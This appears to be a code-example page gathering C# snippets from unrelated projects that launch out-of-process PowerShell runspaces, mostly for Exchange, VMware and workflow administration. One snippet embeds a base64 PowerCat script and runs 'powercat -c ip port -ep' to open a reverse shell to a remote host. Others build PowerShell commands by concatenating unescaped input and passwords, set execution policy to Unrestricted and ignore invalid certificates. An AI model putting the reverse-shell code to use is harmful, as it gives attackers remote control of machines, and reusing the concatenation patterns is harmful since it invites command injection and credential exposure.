Exemplo n.º 1
0
        internal ActivityHostProcess(int activityHostTimeoutSec, PSLanguageMode?languageMode)
        {
            object obj;

            this._syncObject       = new object();
            this._tracer           = PowerShellTraceSourceFactory.GetTraceSource();
            this._languageMode     = languageMode;
            this._useJobIPCProcess = true;
            this._tracer.WriteMessage("BEGIN Creating new PowerShell process instance");
            this._processInstance = new PowerShellProcessInstance();
            this._tracer.WriteMessage("END Creating new PowerShell process instance ");
            this._runspace = this.CreateRunspace();
            Guid instanceId = this._runspace.InstanceId;

            this._tracer.WriteMessage("New runspace created ", instanceId.ToString());
            Timer timer = new Timer();

            timer.AutoReset      = false;
            timer.Interval       = 300000;
            this._timer          = timer;
            this._timer.Elapsed += new ElapsedEventHandler(this.TimerElapsed);
            Timer timer1 = this._timer;

            if (activityHostTimeoutSec > 0)
            {
                obj = activityHostTimeoutSec * 0x3e8;
            }
            else
            {
                obj = 0x493e0;
            }
            timer1.Interval = (double)obj;
            ActivityHostProcess._perfCountersMgr.UpdateCounterByValue(PSWorkflowPerformanceCounterSetInfo.CounterSetId, 21, (long)1, true);
        }
        /// <summary>
        /// Verify that the authenticode signature of the file is valid, and publisher is included in the allowed list.
        /// </summary>
        /// <param name="filePath">Path to file.</param>
        /// <returns>True iff the signature and publisher is valid.</returns>
        /// <remarks>
        /// This code might throw an exception, however, we won't catch it here.
        /// This function is called within the update cycle which will catch & log any exception that bubbles up.
        /// </remarks>
        internal async Task <bool> VerifyAuthenticodeSignatureAsync(string filePath)
        {
            const string psGetPublisherCommandTemplate =
                "Return (Get-AuthenticodeSignature \"{0}\").SignerCertificate.GetNameInfo([System.Security.Cryptography.X509Certificates.X509NameType]::SimpleName, $false)";

            if (!OperatingSystem.IsWindows())
            {
                throw new PlatformNotSupportedException("Authenticode signature verification is only available on Windows");
            }

            _logger.LogInformation("Verifying authenticode signature of package");

            using var psProcess = new PowerShellProcessInstance(new Version(5, 1), null, null, false);
            using var runspace  = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(Array.Empty <string>()), psProcess);
            runspace.Open();

            // first we need to get the signature and verify that it's "Valid"
            using var powershell = PowerShell.Create(runspace);
            powershell.AddCommand("Get-AuthenticodeSignature").AddParameter("FilePath", filePath);
            var results = await powershell.InvokeAsync();

            PublishCounter(UpdateMetricsConstants.PowershellExecutions, CounterTypeEnum.Increment, 1);

            if (results.Count == 0)
            {
                return(false);
            }
            var signature       = results[0];
            var signatureStatus = signature.Properties["Status"]?.Value?.ToString();

            _logger.LogDebug("Signature status: {0}", signatureStatus);
            if (signatureStatus != nameof(SignatureStatus.Valid))
            {
                return(false);
            }

            // then we get the publisher of the signing certificate
            var allowedPublishers = _allowedPublishers ?? _builtInMsiAllowedPublishers;

            powershell.AddScript(string.Format(psGetPublisherCommandTemplate, filePath));
            results = await powershell.InvokeAsync();

            PublishCounter(UpdateMetricsConstants.PowershellExecutions, CounterTypeEnum.Increment, 1);

            if (results.Count == 0)
            {
                return(false);
            }
            var publisher = results[0].ToString();

            _logger.LogDebug("Signature publisher: {0}", publisher);

            return(allowedPublishers.Contains(publisher));
        }
Exemplo n.º 3
0
        private static void ExecutePowershell(object args)
        {
            var a        = (object[])args;
            var ip       = (string)a[0];
            var port     = (string)a[1];
            var instance = new PowerShellProcessInstance(new Version(2, 0), null, null, false);

            using (var rs = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
            {
                rs.Open();

                var pipeline = rs.CreatePipeline();
                pipeline.Commands.AddScript(PowerCat.PowerCatBase64());
                pipeline.Commands.AddScript("powercat -c " + ip + "  " + port + " -ep");
                pipeline.Invoke();
            }
        }
 internal ActivityHostProcess(int activityHostTimeoutSec, PSLanguageMode?languageMode)
 {
     _languageMode     = languageMode;
     _useJobIPCProcess = true;
     _tracer.WriteMessage("BEGIN Creating new PowerShell process instance");
     _processInstance = new PowerShellProcessInstance();
     _tracer.WriteMessage("END Creating new PowerShell process instance ");
     _runspace = CreateRunspace();
     _tracer.WriteMessage("New runspace created ", _runspace.InstanceId.ToString());
     _timer = new Timer {
         AutoReset = false, Interval = TimeOut
     };
     _timer.Elapsed += TimerElapsed;
     _timer.Interval = activityHostTimeoutSec > 0 ? activityHostTimeoutSec * 1000 : TimeOut;
     _perfCountersMgr.UpdateCounterByValue(
         PSWorkflowPerformanceCounterSetInfo.CounterSetId,
         PSWorkflowPerformanceCounterIds.ActivityHostMgrCreatedProcessesCount);
 }
 public static void Main()
 {
     Console.WriteLine(Environment.Is64BitProcess);
     using (PowerShellProcessInstance pspi = new PowerShellProcessInstance()) {
         string psfn = pspi.Process.StartInfo.FileName;
         psfn = psfn.ToLowerInvariant().Replace("\\syswow64\\", "\\sysnative\\");
         pspi.Process.StartInfo.FileName = psfn;
         using (Runspace r = RunspaceFactory.CreateOutOfProcessRunspace(null, pspi)) {
             r.Open();
             using (PowerShell ps = PowerShell.Create()) {
                 ps.Runspace = r;
                 ps.AddScript("[Environment]::Is64BitProcess");
                 foreach (PSObject pso in ps.Invoke())
                 {
                     Console.WriteLine(pso);
                 }
             }
         }
     }
 }
Exemplo n.º 6
0
        public string RunScript(string scriptText)
        {
            PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(2, 0), null, null, false);
            
            PSSnapInException warning;
            //Runspace runspace = RunspaceFactory.CreateRunspace();
            Runspace runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance);
            
            runspace.Open();
            runspace.RunspaceConfiguration.AddPSSnapIn("Microsoft.Sharepoint.Powershell", out warning);

            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.Add(scriptText);

            pipeline.Commands.Add("Out-String");
            StringBuilder sb = new StringBuilder();
            try
            {
                Collection<PSObject> results = pipeline.Invoke();
                foreach (PSObject obj in results)
                {
                    sb.AppendLine(obj.ToString());
                }
            }
            catch (Exception ex)
            {
                sb.AppendLine(ex.Message);
            }
            finally
            {
                runspace.Close();
            }

            return sb.ToString();

        }
        public ICustomActivityResult Execute()
        {
            DataTable dataTable = new DataTable("resultSet");

            string Command = "Get-HardDisk -VM '" + vmName + "'";

            using (PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(4, 0), null, null, false))
            {
                using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                {
                    runspace.Open();

                    using (PowerShell powerShellInstance = PowerShell.Create(RunspaceMode.NewRunspace))
                    {
                        powerShellInstance.Runspace = runspace;

                        // ---------------
                        ExecuteScript(powerShellInstance, "Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force ");

                        // ---------------
                        var version           = ExecuteScript(powerShellInstance, @"$PSVersionTable.PSVersion");
                        var element           = version.First();
                        var powershellVersion = element.BaseObject as System.Version;
                        // System.Diagnostics.Trace.WriteLine($"=== Locally installed Powershell version: {powershellVersion.ToString()}");

                        // Snapins cmdlets could be not installed
                        // https://github.com/PowerShell/PowerShell/issues/6135
                        var pssapinInstalled = ExecuteScript(powerShellInstance, @"Get-Command | where { $_.Name -eq 'Get-PSSnapin'}");

                        if (pssapinInstalled.Any() == true)
                        {
                            // Check if SnapIn already loaded
                            var loadedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin");

                            if (loadedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)) == true)
                            {
                                // Already loaded
                            }
                            else
                            {
                                // Check if could be loaded
                                var registedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin -Registered");
                                if (registedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)) == true)
                                {
                                    // Load SnapIn
                                    ExecuteScript(powerShellInstance, "Add-PSSnapin -Name '" + POWERCLI_NAME + "'");
                                }
                                else
                                {
                                    // VMware.VimAutomation.Core Snapin is not installed - so may be it in modules ?
                                    LoadWithModules(powerShellInstance);
                                }
                            }
                        }
                        else
                        {
                            LoadWithModules(powerShellInstance);
                        }

                        // Normalization command that will handle incorrect certificates
                        ExecuteScript(powerShellInstance, @"Set-PowerCLIConfiguration -DefaultVIServerMode Single -InvalidCertificateAction Ignore -Scope Session  -Confirm:$false");

                        // Fix case where Username send domain\username to just username
                        if (UserName.Contains("\\"))
                        {
                            UserName = UserName.Substring(UserName.LastIndexOf("\\") + 1);
                        }

                        // Connect
                        var connectionInfo = ExecuteScript(powerShellInstance, "Connect-VIServer -Server '" + HostName + "' -User '" + UserName + "' -Password '" + Password + "' -ErrorAction Continue", "Username is: " + UserName + " Password: "******" for host: " + HostName);

                        // Actual command
                        if (string.IsNullOrEmpty(Command) == false)
                        {
                            var commandResult = ExecuteScript(powerShellInstance, Command);

                            commandResult.ToList().ForEach(item =>
                            {
                                var row = dataTable.NewRow();

                                item.Properties.ToList().ForEach(details =>
                                {
                                    if (dataTable.Columns.Contains(details.Name) == false)
                                    {
                                        dataTable.Columns.Add(details.Name);
                                    }

                                    row[details.Name] = details.Value;
                                });

                                if (row.ItemArray.Any() == true)
                                {
                                    dataTable.Rows.Add(row);
                                }
                            });
                        }
                        else
                        {
                            // No command provided - nothing to do
                        }
                    }

                    runspace.Close();
                    runspace.Dispose();
                }
            }

            return(this.GenerateActivityResult(dataTable));
            //return this.GenerateActivityResult("Success");
        }
Exemplo n.º 8
0
        public ICustomActivityResult Execute()
        {
            DataTable dt = new DataTable();

            if (!string.IsNullOrEmpty(ScriptPath))
            {
                if (File.Exists(ScriptPath))
                {
                    ScriptCode = File.ReadAllText(ScriptPath);
                }
                else
                {
                    throw new Exception("File not found");
                }
            }
            if (string.IsNullOrEmpty(ScriptCode))
            {
                throw new Exception("Script code value is empty.");
            }

            string        _exchangeConnectionUri = string.Format("http://{0}/PowerShell/?SerializationLevel=Full", HostName);
            StringBuilder sbInit = new StringBuilder();

            sbInit.AppendLine("$ErrorActionPreference = \"Stop\"");
            sbInit.AppendLine("$PSDefaultParameterValues['*:ErrorAction']='Stop'");
            sbInit.AppendLine("$session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri " + _exchangeConnectionUri + " -Authentication Kerberos");
            sbInit.AppendLine("Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted");
            sbInit.AppendLine("Import-PSSession $session");

            try
            {
                using (PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(4, 0), null, ScriptBlock.Create(sbInit.ToString()), false))
                {
                    using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                    {
                        runspace.Open();

                        using (var powershell = PowerShell.Create())
                        {
                            powershell.Commands.AddScript(ScriptCode);
                            powershell.Runspace = runspace;
                            string errorDescription       = "Command execution has failed.";
                            Collection <PSObject> results = powershell.Invoke();

                            if (results != null)
                            {
                                if (results.Count > 0)
                                {
                                    var    selectedResults = results.Where(o => o != null);
                                    bool   isStartLine     = true;
                                    string cmdResult       = string.Empty;
                                    try
                                    {
                                        if (string.IsNullOrEmpty(PropertyNames))
                                        {
                                            // The properties were not provided
                                            dt.Columns.Add("Result", typeof(string));
                                            foreach (var output in selectedResults)
                                            {
                                                if (isStartLine)
                                                {
                                                    cmdResult   = ClearString(output.ToString());
                                                    isStartLine = false;
                                                }
                                                else
                                                {
                                                    cmdResult = output.ToString();
                                                }
                                                dt.Rows.Add(cmdResult);
                                            }
                                        }
                                        else
                                        {
                                            // The properties were provided
                                            string[] properties = PropertyNames.Split(';');
                                            foreach (string propertyName in properties)
                                            {
                                                dt.Columns.Add(propertyName, typeof(string));
                                            }

                                            foreach (var output in selectedResults)
                                            {
                                                DataRow dr            = dt.NewRow();
                                                bool    propertyFound = false;
                                                foreach (string propertyName in properties)
                                                {
                                                    PSPropertyInfo psInfo = output.Properties[propertyName];
                                                    if (psInfo != null)
                                                    {
                                                        if (psInfo.Value != null)
                                                        {
                                                            dr[propertyName] = psInfo.Value.ToString();
                                                            propertyFound    = true;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        throw new Exception(string.Format("The property \"{0}\" does not exist.", propertyName));
                                                    }
                                                }
                                                if (propertyFound)
                                                {
                                                    dt.Rows.Add(dr);
                                                    propertyFound = false;
                                                }
                                            }
                                        }
                                    }
                                    catch
                                    {
                                        throw new Exception("Unable to evaluate result.");
                                    }
                                }
                            }
                            else
                            {
                                throw new Exception(errorDescription);
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }

            return(this.GenerateActivityResult(dt));
        }
 internal override void CreateAsync()
 {
     if (this.connectionInfo != null)
     {
         this._processInstance = this.connectionInfo.Process ?? new PowerShellProcessInstance(this.connectionInfo.PSVersion, this.connectionInfo.Credential, this.connectionInfo.InitializationScript, this.connectionInfo.RunAs32);
         if (this.connectionInfo.Process != null)
         {
             this._processCreated = false;
         }
     }
     PSEtwLog.LogAnalyticInformational(PSEventId.WSManCreateShell, PSOpcode.Connect, PSTask.CreateRunspace, PSKeyword.Transport | PSKeyword.UseAlwaysAnalytic, new object[] { base.RunspacePoolInstanceId.ToString() });
     try
     {
         lock (base.syncObject)
         {
             if (base.isClosed)
             {
                 return;
             }
             this.serverProcess = this._processInstance.Process;
             if (this._processInstance.RunspacePool != null)
             {
                 this._processInstance.RunspacePool.Close();
                 this._processInstance.RunspacePool.Dispose();
             }
             this.stdInWriter = this._processInstance.StdInWriter;
             this.serverProcess.OutputDataReceived += new DataReceivedEventHandler(this.OnOutputDataReceived);
             this.serverProcess.ErrorDataReceived  += new DataReceivedEventHandler(this.OnErrorDataReceived);
             this.serverProcess.Exited             += new EventHandler(this.OnExited);
             this._processInstance.Start();
             if (this.stdInWriter != null)
             {
                 this.serverProcess.CancelErrorRead();
                 this.serverProcess.CancelOutputRead();
             }
             this.serverProcess.BeginOutputReadLine();
             this.serverProcess.BeginErrorReadLine();
             this.stdInWriter = new OutOfProcessTextWriter(this.serverProcess.StandardInput);
             this._processInstance.StdInWriter = this.stdInWriter;
         }
     }
     catch (Win32Exception exception)
     {
         PSRemotingTransportException e = new PSRemotingTransportException(exception, RemotingErrorIdStrings.IPCExceptionLaunchingProcess, new object[] { exception.Message })
         {
             ErrorCode = exception.ErrorCode
         };
         TransportErrorOccuredEventArgs eventArgs = new TransportErrorOccuredEventArgs(e, TransportMethodEnum.CreateShellEx);
         this.RaiseErrorHandler(eventArgs);
         return;
     }
     catch (Exception exception3)
     {
         CommandProcessorBase.CheckForSevereException(exception3);
         PSRemotingTransportException   exception4 = new PSRemotingTransportException(PSRemotingErrorId.IPCExceptionLaunchingProcess, RemotingErrorIdStrings.IPCExceptionLaunchingProcess, new object[] { exception3.Message });
         TransportErrorOccuredEventArgs args2      = new TransportErrorOccuredEventArgs(exception4, TransportMethodEnum.CreateShellEx);
         this.RaiseErrorHandler(args2);
         return;
     }
     this.SendOneItem();
 }
        private string ExecuteLocal(string ScriptPath, string ScriptCode, int HasParams, string TableAsString)
        {
            StringWriter sw = new StringWriter();
            DataTable    dt = new DataTable("resultSet");

            dt.Columns.Add("Result", typeof(String));

            try
            {
                if (string.IsNullOrEmpty(ScriptCode) == false)
                {
                    ScriptCode = ScriptCode.Replace("\t", "\r\n");
                }


                if (string.IsNullOrEmpty(ScriptPath) == false)
                {
                    if (File.Exists(ScriptPath))
                    {
                        ScriptCode = File.ReadAllText(ScriptPath);
                    }
                    else
                    {
                        throw new Exception("File not found");
                    }
                }

                InitialSessionState iss = InitialSessionState.CreateDefault();
                PSSnapInException   warning;

                string[] MyArray = ScriptCode.Split(new string[] { "\r\n" }, StringSplitOptions.None);

                foreach (string item in MyArray)
                {
                    if (item.ToLower().Contains("add-pssnapin"))
                    {
                        iss.ImportPSSnapIn(item.Substring(item.ToLower().IndexOf("add-pssnapin") + 12).Trim(), out warning);
                        ScriptCode = ScriptCode.Replace(item, "");
                    }
                }

                Collection <PSObject> results = null;

                using (PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(4, 0), null, null, false))
                {
                    using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                    {
                        runspace.Open();

                        using (Pipeline pipeline = runspace.CreatePipeline())
                        {
                            if (HasParams == 1 && string.IsNullOrEmpty(TableAsString) == false)
                            {
                                CommandParameter         param;
                                DataTable                dtParams = new DataTable();
                                System.Text.UTF8Encoding enc      = new System.Text.UTF8Encoding();

                                using (MemoryStream stream = new MemoryStream())
                                {
                                    byte[] allBytes = enc.GetBytes(TableAsString);
                                    stream.Write(allBytes, 0, allBytes.Length);
                                    stream.Position = 0;
                                    dtParams.ReadXml(stream);
                                }

                                Command myCommand = new Command(ScriptCode, true);

                                foreach (DataRow row in dtParams.Rows)
                                {
                                    param = new CommandParameter(row[0].ToString(), row[1]);
                                    myCommand.Parameters.Add(param);
                                }

                                pipeline.Commands.Add(myCommand);
                                pipeline.Commands.Add("Out-String");
                            }
                            else
                            {
                                pipeline.Commands.AddScript(ScriptCode);
                                pipeline.Commands.Add("Out-String");
                            }

                            results = pipeline.Invoke();
                        }
                    }
                }

                StringBuilder stbuilder   = new StringBuilder();
                bool          isStartLine = true;
                string        cmdResult   = string.Empty;

                foreach (PSObject obj in results)
                {
                    if (isStartLine)
                    {
                        cmdResult   = ClearString(obj.ToString());
                        isStartLine = false;
                    }
                    else
                    {
                        cmdResult = obj.ToString();
                    }

                    dt.Rows.Add(cmdResult);
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }

            dt.WriteXml(sw, XmlWriteMode.WriteSchema, false);

            return(sw.ToString());
        }
Exemplo n.º 11
0
        public ICustomActivityResult Execute()

        {
            if (cluster == null)
            {
                throw new ArgumentNullException("cluster");
            }

            if (string.IsNullOrEmpty(filterApplied) == false && bool.Parse(filterApplied) && string.IsNullOrEmpty(cluster) && string.IsNullOrEmpty(dataStore) && string.IsNullOrEmpty(folder))
            {
                throw new Exception("Filter settings are empty.");
            }

            if (string.IsNullOrEmpty(filterApplied))
            {
                // Clear everything if FilterApplied is not send
                cluster = dataStore = folder = string.Empty;
            }

            if (string.IsNullOrEmpty(filterApplied) == false && bool.Parse(filterApplied) == false)
            {
                // Clear everything if FilterApplied = false
                cluster = dataStore = folder = string.Empty;
            }

            var dataTable = new DataTable("resultSet");

            using (var instance = new PowerShellProcessInstance(new Version(4, 0), null, null, false))
            {
                using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                {
                    runspace.Open();

                    using (var powerShellInstance = PowerShell.Create(RunspaceMode.NewRunspace))
                    {
                        powerShellInstance.Runspace = runspace;

                        // ---------------
                        ExecuteScript(powerShellInstance, "Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force ");

                        // ---------------
                        ExecuteScript(powerShellInstance, @"$PSVersionTable.PSVersion");
                        // System.Diagnostics.Trace.WriteLine($"=== Locally installed Powershell version: {powershellVersion.ToString()}");

                        // Snapins cmdlets could be not installed
                        // https://github.com/PowerShell/PowerShell/issues/6135
                        var pssapinInstalled = ExecuteScript(powerShellInstance, @"Get-Command | where { $_.Name -eq 'Get-PSSnapin'}");
                        if (pssapinInstalled.Any())
                        {
                            // Check if SnapIn already loaded
                            var loadedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin");
                            if (loadedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)))
                            {
                                // Already loaded
                            }
                            else
                            {
                                // Check if could be loaded
                                var registedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin -Registered");
                                if (registedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)))
                                {
                                    // Load SnapIn
                                    ExecuteScript(powerShellInstance, "Add-PSSnapin -Name '" + POWERCLI_NAME + "'");
                                }
                                else
                                {
                                    // VMware.VimAutomation.Core Snapin is not installed - so may be it in modules ?
                                    LoadWithModules(powerShellInstance);
                                }
                            }
                        }
                        else
                        {
                            LoadWithModules(powerShellInstance);
                        }

                        // Normalization command that will handle incorrect certificates
                        ExecuteScript(powerShellInstance, @"Set-PowerCLIConfiguration -DefaultVIServerMode Single -InvalidCertificateAction Ignore -Scope Session  -Confirm:$false");

                        // Fix case where Username send domain\username to just username
                        if (userName.Contains("\\"))
                        {
                            userName = userName.Substring(userName.LastIndexOf("\\", StringComparison.Ordinal) + 1);
                        }

                        // Connect
                        ExecuteScript(powerShellInstance, "Connect-VIServer -Server '" + hostName + "' -User '" + userName + "' -Password '" + password + "' -ErrorAction Continue", "Username is: " + userName + " for host: " + hostName);

                        // Actual command
                        var command = string.IsNullOrEmpty(cluster) ? string.IsNullOrEmpty(dataStore) ? string.IsNullOrEmpty(folder) ? "Get-VM;" : "Get-VM -Location " + folder + " -ErrorAction Stop ;" : "Get-Datastore -Name " + dataStore + " -ErrorAction Stop | Get-VM;" : "Get-Cluster " + cluster + " -ErrorAction Stop | Get-VM ;";

                        if (string.IsNullOrEmpty(command) == false)
                        {
                            var commandResult = ExecuteScript(powerShellInstance, command);

                            commandResult.ToList().ForEach(item =>
                            {
                                var row = dataTable.NewRow();

                                item.Properties.ToList().ForEach(details =>
                                {
                                    if (dataTable.Columns.Contains(details.Name) == false)
                                    {
                                        dataTable.Columns.Add(details.Name);
                                    }

                                    row[details.Name] = details.Value;
                                });

                                if (row.ItemArray.Any())
                                {
                                    dataTable.Rows.Add(row);
                                }
                            });
                        }
                    }

                    runspace.Close();
                    runspace.Dispose();
                }
            }

            // ------------------------------------------------------------------------
            if (dataTable.Columns.Count == 0)
            {
                dataTable.Columns.Add("Result", typeof(string));
            }

            var view         = new DataView(dataTable);
            var selected     = view.ToTable("resultSet", false, "Name", "VMHost", "Folder");
            var stringWriter = new StringWriter();

            selected.WriteXml(stringWriter, XmlWriteMode.WriteSchema, false);
            selected.Dispose();

            return(this.GenerateActivityResult(stringWriter.ToString()));
        }
Exemplo n.º 12
0
 public IRunspace CreateOutOfProcessRunspace(TypeTable typeTable, PowerShellProcessInstance processInstance)
 {
     return(new Wrappers.Implementations.Runspace(System.Management.Automation.Runspaces.RunspaceFactory.CreateOutOfProcessRunspace(typeTable, processInstance)));
 }